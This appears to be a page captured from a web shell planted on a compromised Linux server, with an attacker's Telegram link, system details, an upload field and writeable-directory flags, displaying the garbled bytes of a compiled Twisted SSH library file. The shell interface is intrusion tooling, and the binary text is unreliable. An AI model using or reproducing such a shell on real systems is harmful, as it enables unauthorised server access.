https://t.me/RX1948
Server : LiteSpeed
System : Linux host 5.15.0-161-generic #171-Ubuntu SMP Sat Oct 11 08:17:01 UTC 2025 x86_64
User : idnco5810 ( 1093)
PHP Version : 8.2.29
Disable Function : NONE
Directory :  /lib/python3/dist-packages/twisted/conch/ssh/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/twisted/conch/ssh/__pycache__/service.cpython-310.pyc
o

�b�@s.dZddlmZddlmZGdd�d�ZdS)z�
The parent class for all the SSH services.  Currently implemented services
are ssh-userauth and ssh-connection.

Maintainer: Paul Swartz
�)�Dict)�Loggerc@sXeZdZUdZeed<iZeee	fed<dZ
e�Zdd�Z
dd�Zdd	�Zd
d�ZdS)�
SSHServiceN�name�protocolMessagescC�dS)zE
        called when the service is active on the transport.
        N���selfrr�;/usr/lib/python3/dist-packages/twisted/conch/ssh/service.py�serviceStarted�zSSHService.serviceStartedcCr)z�
        called when the service is stopped, either by the connection ending
        or by another service being started
        Nrr	rrr�serviceStoppedr
zSSHService.serviceStoppedcCsd�|j|jj���S)NzSSHService {!r} on {})�formatr�	transport�	logPrefixr	rrrr$s�zSSHService.logPrefixcCs\||jvr|j|}t|d|dd�d�}|dur||�S|jjd||d�|j��dS)zB
        called when we receive a packet on the transport
        zssh_%s�Nz'couldn't handle {messageNum} {packet!r})�
messageNum�packet)r�getattr�_log�infor�sendUnimplemented)r
rr�messageType�frrr�packetReceived)s

�zSSHService.packetReceived)�__name__�
__module__�__qualname__r�bytes�__annotations__rr�int�strrrrrrrrrrrrrs
rN)�__doc__�typingr�twisted.loggerrrrrrr�<module>s

https://t.me/RX1948 - 2025